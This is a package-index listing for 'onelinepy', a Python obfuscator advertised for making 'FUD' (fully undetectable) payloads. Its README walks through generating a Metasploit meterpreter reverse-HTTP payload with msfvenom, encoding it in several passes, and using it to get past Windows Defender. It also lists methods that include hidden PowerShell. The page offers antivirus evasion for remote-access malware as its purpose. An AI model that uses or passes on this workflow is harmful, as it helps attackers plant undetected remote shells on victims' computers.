one

onelinepy

Python Obfuscator to generate One-Liners and FUD Payloads.

Showing:

Popularity

Downloads/wk

0

GitHub Stars

124

Maintenance

Last Commit

3mos ago

Contributors

1

Package

Dependencies

0

License

MIT

Categories

Readme

onelinepy

Python Obfuscator for FUD Python Code.

Download & Run

git clone https://github.com/spicesouls/onelinepy
cd onelinepy
chmod +x setup.sh
./setup.sh
onelinepy

Usage Guide

              _ _                 
  ___ ___ ___| |_|___ ___ ___ _ _
 | . |   | -_| | |   | -_| . | | |     Python
 |___|_|_|___|_|_|_|_|___|  _|_  |     Obfuscator
                         |_| |___|

usage: oneline.py [-h] [-m M] [-i I] [--script SCRIPT] [--code CODE] [--list] [--output OUTPUT]

optional arguments:
  -h, --help       show this help message and exit
  -m M             Obfuscating Method (i.e, -m /one_line/base64)
  -i I             Iterations For Obfuscation.
  --script SCRIPT  File path of Python file to Obfuscate.
  --code CODE      Python code to Obfuscate.
  --list           List Obfuscating Methods.
  --output OUTPUT  Output File.

Example: Creating FUD Meterpreter Python Payload

  1. Generate Python Payload:

msfvenom --payload python/meterpreter_reverse_http LHOST=... LPORT=... > payload.txt

  1. Obfuscate Payload

onelinepy -m /one_line/base64 --script payload.txt -i 3 --output obfuscated_payload.txt

  1. Profit! The Obfuscated Payload works against Windows Defender.

More Examples

onelinepy -m /one_line/base64 --script payload.py -i 3
onelinepy -m /one_line/hex --code "print('HEX!')"

Obfuscation Method List

              _ _                 
  ___ ___ ___| |_|___ ___ ___ _ _
 | . |   | -_| | |   | -_| . | | |     Python
 |___|_|_|___|_|_|_|_|___|  _|_  |     Obfuscator
                         |_| |___|


  Obfuscators ( * = May cause Syntax Errors )
 -=============-
 0	/one_line/hex
 1	/one_line/base64
 2	/one_line/base32
 3	/one_line/gunzip*
 4	/one_line/rot13*
 5	/cmd/command
 6	/cmd/powershell
 7	/cmd/powershellhidden

Rate & Review

Great Documentation0
Easy to Use0
Performant0
Highly Customizable0
Bleeding Edge0
Responsive Maintainers0
Poor Documentation0
Hard to Use0
Slow0
Buggy0
Abandoned0
Unwelcoming Community0
100
No reviews found
Be the first to rate

Alternatives

No alternatives found

Tutorials

No tutorials found
Add a tutorial